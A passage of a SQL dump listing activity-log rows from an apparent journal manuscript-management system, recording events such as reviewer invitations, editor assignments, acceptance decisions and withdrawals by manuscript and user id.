Author',9331,'Publisher',48),(89410,'0000-00-00 00:00:00','Manuscript Submitted by Author',9466,'Author',10185),(89412,'0000-00-00 00:00:00','Author sent Email',8073,'Author',9247),(89416,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89417,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89418,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89419,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8864,'Publisher',988),(89435,'0000-00-00 00:00:00','Publisher : Notified Editor',9251,'Publisher',988),(89442,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9251,'Editor',1410),(89444,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9251,'Editor',1410),(89446,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9251,'Publisher',988),(89449,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8150,'Publisher',75),(89450,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8729,'Publisher',75),(89451,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9381,'Publisher',85),(89452,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8513,'Publisher',85),(89453,'0000-00-00 00:00:00','Reviewer has submitted comments',9034,'Reviewer',18830),(89454,'0000-00-00 00:00:00','Publisher : Notified Editor',9034,'Publisher',988),(89455,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9034,'Editor',1410),(89456,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8633,'Editor',1342),(89457,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8633,'Publisher',984),(89458,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9034,'Editor',1410),(89459,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9409,'Publisher',988),(89460,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9409,'Publisher',988),(89461,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9409,'Publisher',988),(89462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9409,'Publisher',988),(89463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9409,'Publisher',988),(89464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9409,'Publisher',988),(89473,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9340,'Publisher',274),(89475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89478,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89481,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89484,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9332,'Editor',1666),(89486,'0000-00-00 00:00:00','Manuscript Submitted by Author',9472,'Author',4635),(89543,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9381,'Publisher',85),(89555,'0000-00-00 00:00:00','Reviewer has submitted comments',9381,'Reviewer',15826),(89681,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9494,'Publisher',376),(89686,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9411,'Publisher',988),(89687,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9408,'Publisher',988),(89688,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9410,'Publisher',988),(89689,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9411,'Publisher',988),(89690,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9411,'Publisher',988),(89691,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9411,'Publisher',988),(89692,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9410,'Publisher',988),(89693,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9410,'Publisher',988),(89694,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9410,'Publisher',988),(89695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9408,'Publisher',988),(89696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9408,'Publisher',988),(89697,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9408,'Publisher',988),(89698,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9408,'Publisher',988),(89715,'0000-00-00 00:00:00','Reviewer has submitted comments',9381,'Reviewer',18913),(89718,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9502,'Author',10393),(89735,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8707,'Publisher',274),(89736,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8159,'Publisher',274),(89741,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89742,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89743,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89744,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89745,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89746,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89747,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89748,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89749,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89750,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89751,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89752,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8914,'Publisher',84),(89754,'0000-00-00 00:00:00','Reviewer has submitted comments',8917,'Reviewer',15222),(89817,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9343,'Publisher',376),(89818,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9343,'Editor',1705),(89819,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9343,'Editor',1705),(89829,'0000-00-00 00:00:00','Manuscript has been Revised',9276,'Author',9871),(89830,'0000-00-00 00:00:00','Manuscript has been Revised',9276,'Author',9871),(89831,'0000-00-00 00:00:00','Manuscript has been Revised',9276,'Author',9871),(89832,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(89833,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9517,'Author',10407),(89844,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9519,'Author',10409),(89846,'0000-00-00 00:00:00','Manuscript Submitted by Author',9521,'Author',10406),(89848,'0000-00-00 00:00:00','Author sent Email',9229,'Author',10185),(89863,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9034,'Publisher',988),(89865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89867,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89868,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9210,'Publisher',85),(89914,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(89915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89920,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89921,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89922,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89923,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89924,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89925,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89926,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89927,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89928,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89929,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89930,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9303,'Publisher',85),(89940,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9444,'Editor',1705),(89941,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9444,'Editor',1705),(89943,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9406,'Publisher',376),(89949,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9134,'Publisher',84),(89972,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9452,'Publisher',248),(89973,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9451,'Publisher',248),(89974,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9451,'Editor',1674),(89975,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9452,'Editor',1674),(89976,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9451,'Editor',1674),(89977,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9452,'Editor',1674),(89978,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9081,'Editor',1674),(89982,'0000-00-00 00:00:00','Reviewer has submitted comments',8864,'Reviewer',18838),(89986,'0000-00-00 00:00:00','Publisher : Notified Editor',8864,'Publisher',988),(89987,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8864,'Editor',1410),(89988,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8864,'Publisher',988),(89998,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9537,'Publisher',988),(90013,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9436,'Publisher',645),(90014,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9422,'Publisher',645),(90015,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9421,'Publisher',645),(90016,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9419,'Publisher',645),(90017,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9420,'Publisher',645),(90018,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9436,'Editor',1708),(90019,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9436,'Editor',1708),(90020,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9422,'Editor',1708),(90021,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9421,'Editor',1708),(90022,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9420,'Editor',1708),(90023,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9419,'Editor',1708),(90027,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9538,'Author',10419),(90035,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9539,'Author',10420),(90039,'0000-00-00 00:00:00','Manuscript Updated',9410,'Publisher',988),(90040,'0000-00-00 00:00:00','Manuscript Updated',9408,'Publisher',988),(90050,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9466,'Publisher',75),(90121,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',9210,'Reviewer',15975),(90133,'0000-00-00 00:00:00','Reviewer has submitted comments',9303,'Reviewer',10962),(90134,'0000-00-00 00:00:00','Author sent Email',9466,'Author',10185),(90138,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9251,'Publisher',988),(90143,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9472,'Publisher',274),(90144,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9494,'Publisher',376),(90145,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9494,'Editor',1705),(90146,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9494,'Editor',1705),(90159,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9555,'Publisher',972),(90163,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9557,'Publisher',376),(90168,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9558,'Publisher',376),(90175,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9560,'Publisher',376),(90190,'0000-00-00 00:00:00','Reviewer has submitted comments',9409,'Reviewer',18838),(90194,'0000-00-00 00:00:00','Reviewer has submitted comments',9410,'Reviewer',18838),(90195,'0000-00-00 00:00:00','Publisher : Notified Editor',9410,'Publisher',988),(90196,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9410,'Editor',1410),(90197,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9409,'Editor',1410),(90198,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9410,'Editor',1410),(90199,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9409,'Editor',1410),(90200,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9410,'Publisher',988),(90201,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9409,'Publisher',988),(90202,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9519,'Publisher',48),(90222,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7741,'Publisher',84),(90272,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(90299,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9340,'Publisher',274),(90330,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9543,'Publisher',48),(90331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9543,'Publisher',48),(90332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9543,'Publisher',48),(90333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9543,'Publisher',48),(90334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9519,'Publisher',48),(90335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9519,'Publisher',48),(90336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9519,'Publisher',48),(90337,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9519,'Publisher',48),(90394,'0000-00-00 00:00:00','Reviewer has submitted comments',9340,'Reviewer',12022),(90419,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9580,'Publisher',988),(90445,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9397,'Publisher',984),(90449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90455,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90457,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90459,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90461,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9397,'Publisher',984),(90564,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9034,'Publisher',988),(90565,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9034,'Publisher',988),(90587,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9521,'Publisher',75),(90593,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9233,'Editor',194),(90594,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9233,'Editor',194),(90595,'0000-00-00 00:00:00','Editor has Invited Reviewer',9233,'Editor',194),(90597,'0000-00-00 00:00:00','Editor has Invited Reviewer',9233,'Editor',194),(90598,'0000-00-00 00:00:00','Editor has Invited Reviewer',9233,'Editor',194),(90599,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9398,'Editor',194),(90600,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9233,'Editor',194),(90601,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9517,'Publisher',85),(90606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90607,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90608,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90610,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90615,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9538,'Publisher',673),(90616,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9537,'Publisher',988),(90621,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9537,'Publisher',988),(90622,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9537,'Publisher',988),(90623,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9537,'Publisher',988),(90624,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9537,'Publisher',988),(90625,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9537,'Publisher',988),(90626,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9537,'Publisher',988),(90629,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9537,'Publisher',988),(90631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90637,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9517,'Publisher',85),(90655,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90656,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90657,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90658,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90659,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90660,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90661,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90662,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90663,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90664,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90665,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90666,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90667,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90668,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90669,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90674,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',9538,'Reviewer',19019),(90701,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9555,'Publisher',972),(90702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9555,'Publisher',972),(90703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9555,'Publisher',972),(90704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9555,'Publisher',972),(90706,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9555,'Publisher',972),(90707,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9555,'Publisher',972),(90709,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9160,'Publisher',48),(90710,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(90711,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9267,'Publisher',48),(90721,'0000-00-00 00:00:00','Reviewer has submitted comments',9160,'Reviewer',11689),(90727,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9160,'Editor',194),(90729,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9160,'Publisher',48),(90730,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9160,'Publisher',48),(90734,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9603,'Author',10473),(90752,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9539,'',1051),(90763,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9560,'Publisher',376),(90765,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9560,'Editor',1705),(90766,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9519,'Publisher',48),(90767,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9560,'Editor',1705),(90768,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9557,'Publisher',376),(90769,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9557,'Editor',1705),(90770,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9557,'Editor',1705),(90771,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9611,'Publisher',48),(90772,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9558,'Publisher',376),(90773,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9558,'Editor',1705),(90775,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9558,'Editor',1705),(90779,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90780,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90781,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90782,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90783,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90784,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90785,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90786,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90787,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90790,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90791,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90792,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90793,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(90803,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9112,'Publisher',48),(90834,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',9616,'Author',10481),(90840,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9233,'Editor',194),(90841,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9233,'',1045),(90842,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8582,'Publisher',48),(90843,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8582,'Publisher',48),(90844,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8582,'Publisher',48),(90845,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8581,'Publisher',48),(90846,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8579,'Publisher',48),(90847,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8583,'Publisher',48),(90849,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8583,'Publisher',48),(90883,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(90884,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(90885,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(90886,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(90887,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9472,'Publisher',274),(90888,'0000-00-00 00:00:00','Publisher : Notified Editor',9340,'Publisher',274),(90889,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9340,'Editor',1665),(90890,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',9340,'Editor',1665),(90891,'0000-00-00 00:00:00','Publisher : Notified Author',9340,'Publisher',274),(90892,'0000-00-00 00:00:00','Publisher : Notified Author',9235,'Publisher',274),(90893,'0000-00-00 00:00:00','Publisher : Notified Author',8837,'Publisher',274),(90894,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8158,'Publisher',274),(90917,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8838,'Editor',1594),(90918,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8838,'Editor',1594),(90919,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8838,'Publisher',274),(90921,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8838,'Publisher',274),(90957,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',9627,'Publisher',48),(90983,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9436,'Editor',1708),(90984,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9422,'Editor',1708),(90985,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9421,'Editor',1708),(90986,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9420,'Editor',1708),(90987,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9419,'Editor',1708),(90991,'0000-00-00 00:00:00','Publisher : Notified Editor',9276,'Publisher',274),(90992,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9276,'Editor',1668),(90993,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9276,'Publisher',274),(90994,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9276,'Publisher',274),(91031,'0000-00-00 00:00:00','Reviewer has submitted comments',9397,'Reviewer',10963),(91040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91049,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9538,'Publisher',673),(91115,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9521,'Editor',160),(91116,'0000-00-00 00:00:00','Editor has Invited Reviewer',9521,'Editor',160),(91117,'0000-00-00 00:00:00','Editor has Invited Reviewer',9521,'Editor',160),(91118,'0000-00-00 00:00:00','Editor has Invited Reviewer',9521,'Editor',160),(91119,'0000-00-00 00:00:00','Editor has Invited Reviewer',9521,'Editor',160),(91120,'0000-00-00 